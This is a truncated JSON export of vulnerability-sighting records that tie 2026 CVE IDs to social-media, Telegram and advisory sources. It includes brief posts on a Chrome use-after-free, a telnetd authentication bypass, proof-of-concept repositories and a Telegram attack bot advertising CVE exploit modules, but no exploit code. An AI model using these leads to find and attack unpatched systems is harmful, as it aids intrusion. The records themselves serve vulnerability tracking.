{"uuid": "abb81626-525f-45fc-b5ad-0fa6f09814be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24369", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj42y3otkl2j", "content": "", "creation_timestamp": "2026-04-10T00:30:07.375343Z"}, {"uuid": "dc6f4f97-c284-40ae-a566-4dd1268d06ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24030", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mj56tz53fs2q", "content": "", "creation_timestamp": "2026-04-10T11:12:06.983825Z"}, {"uuid": "6b9c7434-79b9-444f-a5a3-7d04648ff55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj5ediuo5m2z", "content": "", "creation_timestamp": "2026-04-10T12:50:13.752683Z"}, {"uuid": "68826d17-b9bb-4b4e-8235-62d48318dca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2437", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj65zuptdr2f", "content": "", "creation_timestamp": "2026-04-10T20:30:08.316206Z"}, {"uuid": "d2b497da-a77f-42be-a734-04ee51cdc695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24660", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj6u7qhjqg2n", "content": "", "creation_timestamp": "2026-04-11T03:07:07.199047Z"}, {"uuid": "d27a0664-dd8a-467e-a737-2449eb17cbd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24450", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj7loqyq442n", "content": "", "creation_timestamp": "2026-04-11T10:07:10.378302Z"}, {"uuid": "4300ba9c-d3d4-46b8-b410-298d572c8c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjbrqgaaf627", "content": "", "creation_timestamp": "2026-04-12T07:00:45.282950Z"}, {"uuid": "d768989e-f444-40df-acd3-860dfd83368f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mjcv7jsg3k2h", "content": "", "creation_timestamp": "2026-04-12T17:35:35.817616Z"}, {"uuid": "352407c7-f2e7-49d6-b858-0981dca115e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24303", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkbubclwsu2z", "content": "", "creation_timestamp": "2026-04-25T01:11:11.282758Z"}, {"uuid": "46b83db9-da5f-44cf-8cfd-5d50fb8b0e8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24913", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjedsxw7yc2v", "content": "", "creation_timestamp": "2026-04-13T07:29:38.158649Z"}, {"uuid": "a192d393-be72-436b-8ec3-379b5d6b1bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24146", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjepozttj22v", "content": "", "creation_timestamp": "2026-04-13T11:02:10.977855Z"}, {"uuid": "21624c21-7bae-430e-8627-c91dcda89858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24173", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjepozttj22v", "content": "", "creation_timestamp": "2026-04-13T11:02:11.076793Z"}, {"uuid": "8fee9570-f7aa-4ca4-9f13-5412aae97357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24148", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjepsrh55c2v", "content": "", "creation_timestamp": "2026-04-13T11:04:22.892304Z"}, {"uuid": "c0cdbfad-5ea2-4b1d-81c9-93d3e46753a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24032", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjh5khsmve2l", "content": "", "creation_timestamp": "2026-04-14T10:15:28.825443Z"}, {"uuid": "3211d976-e982-4963-bd86-4c7e55701eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24032", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhcqm34a42z", "content": "", "creation_timestamp": "2026-04-14T11:48:23.196735Z"}, {"uuid": "4c6dbe2e-1775-4b21-bb42-f2bd10a05eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2449", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhg3rxp4d2m", "content": "", "creation_timestamp": "2026-04-14T12:48:19.834486Z"}, {"uuid": "cd6b90c9-b809-44b0-952f-151453b1d796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24032", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-per-prodotti-siemens-20", "content": "", "creation_timestamp": "2026-04-14T03:04:52.000000Z"}, {"uuid": "2931f7d6-9564-447b-8a42-5d30ba96abb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2400", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhwsqvbmg2z", "content": "", "creation_timestamp": "2026-04-14T17:47:30.418836Z"}, {"uuid": "5f728414-0f45-4c03-8592-5850e07880d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2401", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhxbixvqx2o", "content": "", "creation_timestamp": "2026-04-14T17:55:46.102031Z"}, {"uuid": "da300081-ca41-4d08-bfa3-e588d0c0d69a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2405", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhxvv6sad2t", "content": "", "creation_timestamp": "2026-04-14T18:07:09.293836Z"}, {"uuid": "9ed54da6-b70d-4b1b-aa23-a6a6ffcae247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/19245", "content": "\u0423\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0432 \u043d\u0438\u043a\u0443\u0434\u0430. \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0439 \u0431\u0430\u0433 use after free \u0432 Chrome\n\n\ud83d\udc51 \u0421\u0442\u0430\u0442\u044c\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u043e\u0432\n\n\u0422\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0448\u044c \u0441\u0430\u0439\u0442, \u0430\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0436\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435. \u0414\u0430\u043b\u044c\u0448\u0435 \u043e\u043d \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0438\u0437\u00a0\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438\u00a0\u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u043f. \u041a\u00a0\u0442\u0430\u043a\u0438\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c use after free \u0432\u00a0\u0434\u0432\u0438\u0436\u043a\u0435 CSS Chrome (CVE-2026-2441). \u041f\u043e\u043a\u0430 \u0442\u044b \u0447\u0438\u0442\u0430\u0435\u0448\u044c \u0441\u0442\u0430\u0442\u044c\u044e, \u0442\u044b\u0441\u044f\u0447\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0441\u0438\u0434\u0435\u0442\u044c \u043d\u0430\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\nhttps://xakep.ru/2026/04/15/chrome-use-after-free/", "creation_timestamp": "2026-04-15T04:37:07.000000Z"}, {"uuid": "fdaa2d64-6e66-4ed8-82f2-f0a2f926e6fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2416", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjibqd72v52o", "content": "", "creation_timestamp": "2026-04-14T21:03:12.336574Z"}, {"uuid": "a97b78e3-2958-4c0d-9017-819085f0686e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24893", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjk34nm6dl24", "content": "", "creation_timestamp": "2026-04-15T14:09:57.365856Z"}, {"uuid": "d4593ef3-c104-434b-a48b-6426f36517a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24173", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjnqcpmhyg2y", "content": "", "creation_timestamp": "2026-04-17T01:07:08.243206Z"}, {"uuid": "ef2e4b1f-8f3b-46a2-94af-fb4df3856a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjpt4bsqmy2d", "content": "", "creation_timestamp": "2026-04-17T21:02:34.320697Z"}, {"uuid": "5aef99be-0c66-4bd8-b67f-8ccdb1a72411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24913", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjpyfeyuan2l", "content": "", "creation_timestamp": "2026-04-17T22:37:07.206758Z"}, {"uuid": "66a69da3-a964-4a52-922b-0da46e3b0d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24467", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjx2srud322i", "content": "", "creation_timestamp": "2026-04-20T18:09:02.591340Z"}, {"uuid": "ff765183-7208-4329-bebc-b56bb962a8dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24467", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjx54pz76j2r", "content": "", "creation_timestamp": "2026-04-20T18:50:23.947483Z"}, {"uuid": "b1fe175f-df3a-457d-9fdb-62056391612b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24467", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjxgwl35xu2e", "content": "", "creation_timestamp": "2026-04-20T21:45:54.573806Z"}, {"uuid": "d390eac2-36fa-41bf-af8f-6e34c9619994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24467", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjxyj4ngas22", "content": "", "creation_timestamp": "2026-04-21T03:00:31.771822Z"}, {"uuid": "7ad8f12f-abc5-475b-bab8-c3e14e33293a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24032", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-03", "content": "", "creation_timestamp": "2026-04-21T10:00:00.000000Z"}, {"uuid": "b80830f3-dbda-4ffb-bcda-73fd2b2f23dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/cmsbotinfo/58", "content": "Update Modules:\nBOT & WEB\n\nmodules /cve:\n\nCVE-2026-24061\nCVE-2021-26084\nCVE-2024-36401\nCVE-2014-6271\n\nmodules /wp:\n\nCVE-2026-0920\nCVE-2025-6934\nCVE-2025-29009\nCVE-2025-6389\nCVE-2025-14998\nCVE-2024-56043\n\nI know there are the old CVE, but trust me, it's still working in the real target..\ne.g: CVE-2014-6271\n\nif you have the request CVE to added to bot , just chat @CMSAssistant_bot\nit's support for any language espesially english.\n\nI will update the more CVE ( at the moment i will add more modules for wordpress and other general CVE) \ud83d\ude01", "creation_timestamp": "2026-02-17T15:25:49.000000Z"}, {"uuid": "25c6caaf-e065-4786-aa0a-cbf141798440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3mk35qvnov42z", "content": "", "creation_timestamp": "2026-04-22T09:12:19.323163Z"}, {"uuid": "3852aa04-ebac-4e74-a0f2-e607a5e89aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://gist.github.com/jbourdin/0ff92f19bf725fa5aaab45d1b002c8eb", "content": "", "creation_timestamp": "2026-04-22T15:20:19.000000Z"}, {"uuid": "7eb0c456-ae56-4385-a398-f9c9a87007c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://gist.github.com/jbourdin/71deeed03d7121ea91ec3b5207da8438", "content": "", "creation_timestamp": "2026-04-22T15:51:10.000000Z"}, {"uuid": "5799e70f-48af-49de-9058-d7897fef05cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/greynoise/statuses/116455770418741537", "content": "", "creation_timestamp": "2026-04-23T19:53:56.808010Z"}, {"uuid": "bf4a1b49-60c2-4ac1-863f-f8bb2244678d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24303", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mk7gm4it4l23", "content": "", "creation_timestamp": "2026-04-24T02:01:21.423667Z"}, {"uuid": "fb334c16-2c4b-4ae2-9e53-9e2e01320ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkn56yjc7r2m", "content": "\ud83d\udd17 CVE : CVE-2025-14761, CVE-2026-24765, CVE-2026-7274, CVE-2026-7275, CVE-2026-7276, CVE-2026-7277, CVE-2026-7278", "creation_timestamp": "2026-04-29T12:50:13.665839Z"}, {"uuid": "2e85faf2-80ee-4f0d-b48e-164bffef2c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/cyberbannews_ir/21054", "content": "\ud83d\udd34 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc Telnetd\u061b \u0627\u0645\u06a9\u0627\u0646 \u0646\u0641\u0648\u0630 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\n\n\ud83d\udd3b \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2026-24061 \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 Telnetd \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0648 \u062d\u062a\u06cc \u062f\u0633\u062a\u06cc\u0627\u0628\u06cc \u0628\u0647 \u0633\u0637\u062d \u0631\u0648\u062a \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0628\u0647\u200c\u0633\u0627\u062f\u06af\u06cc \u0642\u0627\u0628\u0644 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0633\u062a \u0648 \u0645\u0648\u0627\u0631\u062f\u06cc \u0627\u0632 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0648\u0627\u0642\u0639\u06cc \u0622\u0646 \u06af\u0632\u0627\u0631\u0634 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06cc\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u0634\u062f\u0647 \u0648 \u0627\u0632 SSH \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u0648\u062f.\n\n#\u0627\u06cc\u0631\u0627\u0646\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "creation_timestamp": "2026-04-07T17:24:15.000000Z"}, {"uuid": "ff2b9bf9-af6b-45e1-ad79-ccd87cbee448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24421", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkmvgdbvrs27", "content": "\ud83d\udea8 New Exploit: phpMyFAQ  4.0.16 - Improper Authorization\n\ud83d\udccb CVE: CVE-2026-24421\n\ud83d\udc64 Author: contact\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52523\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-24421", "creation_timestamp": "2026-04-29T10:31:09.819568Z"}, {"uuid": "b6dbadce-ad27-47ea-b5ab-bad27ab00837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24893", "type": "published-proof-of-concept", "source": "Telegram/vFalP9cCg-kFoPrSdHM4ZH4qnLHRdngXJ_Cuq8FbW2RkF4k", "content": "", "creation_timestamp": "2026-04-14T23:21:40.000000Z"}, {"uuid": "3be725bb-1fbd-41ae-98af-4886f3ade629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24415", "type": "published-proof-of-concept", "source": "Telegram/S964UnaAzc4FW7CZCUbAm7wNqkztcWapRmtGqRf9U9sXCaA", "content": "", "creation_timestamp": "2026-04-12T03:00:07.000000Z"}, {"uuid": "50c011ec-9ca6-4dc8-a79f-56ae3d60106d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24641", "type": "seen", "source": "https://t.me/cKure/16265", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 CVE-2026-24641\nA NULL Pointer Dereference vulnerability [CWE-476] vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.2, FortiWeb 7.6.0 through 7.6.6, FortiWeb 7.4 all versions, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions may allow an authenticated attacker to crash the HTTP daemon via crafted HTTP requests.", "creation_timestamp": "2026-04-05T18:54:25.000000Z"}, {"uuid": "71e89d50-eb1a-4672-b9df-49ab4f9376ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24051", "type": "published-proof-of-concept", "source": "Telegram/uNEbWTFRO9kglbQXnY7zSMHaUxTxgzOMmWKv2o-GlQMO0RY", "content": "", "creation_timestamp": "2026-04-09T01:27:25.000000Z"}, {"uuid": "ee570849-b97c-4c28-b843-c8ba95bc3cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24516", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/76685", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24516-DigitalOcean-RCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a poxsky\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-22 20:57:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCritical Pre-Auth Root RCE (CVSS 10.0) in DigitalOcean Droplet Agent up to v1.3.2 via Command Injection.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-22T21:00:03.000000Z"}, {"uuid": "6a0b9c98-1c12-4164-84b3-bc5fe8d747ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24032", "type": "seen", "source": "Telegram/-ctGArBxkphl-MxNFcCeUWXIJh7Segfx9XDjUoG-mXB9WRY", "content": "", "creation_timestamp": "2026-04-14T11:16:55.000000Z"}, {"uuid": "89aa0987-56c4-42b0-9738-6a9cfee3b865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2450", "type": "seen", "source": "Telegram/r8zsFd86IdjBnjQsnpVbmSTohShaGtmjBjBqVT1IiFRWlNI", "content": "", "creation_timestamp": "2026-04-14T15:16:42.000000Z"}, {"uuid": "83f47144-efd8-4f3a-9c47-e10ccf4a842a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24450", "type": "published-proof-of-concept", "source": "Telegram/Gs14uYrPx8dSRKbcySFOH_0HeB-4fySLVXH6YHMHvpJUT40", "content": "", "creation_timestamp": "2026-04-07T17:28:45.000000Z"}, {"uuid": "853c18df-123e-4eed-8c2b-336e4d9a9f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2449", "type": "published-proof-of-concept", "source": "Telegram/cLVBfu0wN-_KDy7vSZP2Uw7mBDsIGZ8mzZODmv4ph0BNeQs", "content": "", "creation_timestamp": "2026-04-14T13:15:45.000000Z"}, {"uuid": "a329bd6d-f86b-479b-b440-a279b019a5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "Telegram/zUNvpgTaZGi4gohExIql7u7NY3sfhiKv5d2ssLNpaagBNmw", "content": "", "creation_timestamp": "2026-04-10T21:23:45.000000Z"}, {"uuid": "02565dff-ed76-45bd-a7f2-1536044c2acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24382", "type": "seen", "source": "Telegram/xJezgF_r2WDWEMFIRLHcqUi9P6zOwR7kCz2QloATB-ENA7I", "content": "", "creation_timestamp": "2026-03-26T21:34:08.000000Z"}, {"uuid": "b8566d9c-a734-4e60-b303-e04b31a04f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24969", "type": "seen", "source": "Telegram/xJezgF_r2WDWEMFIRLHcqUi9P6zOwR7kCz2QloATB-ENA7I", "content": "", "creation_timestamp": "2026-03-26T21:34:08.000000Z"}, {"uuid": "1f2fbf1c-1138-48bf-a856-92dc6f35deb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24363", "type": "seen", "source": "Telegram/xJezgF_r2WDWEMFIRLHcqUi9P6zOwR7kCz2QloATB-ENA7I", "content": "", "creation_timestamp": "2026-03-26T21:34:08.000000Z"}, {"uuid": "8b725ee6-88d6-4d71-b606-eb4611029fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24660", "type": "published-proof-of-concept", "source": "Telegram/Gs14uYrPx8dSRKbcySFOH_0HeB-4fySLVXH6YHMHvpJUT40", "content": "", "creation_timestamp": "2026-04-07T17:28:45.000000Z"}, {"uuid": "15d1c12e-bf3d-4a2e-b11a-f03e12b25305", "vulnerability_lookup_origin": 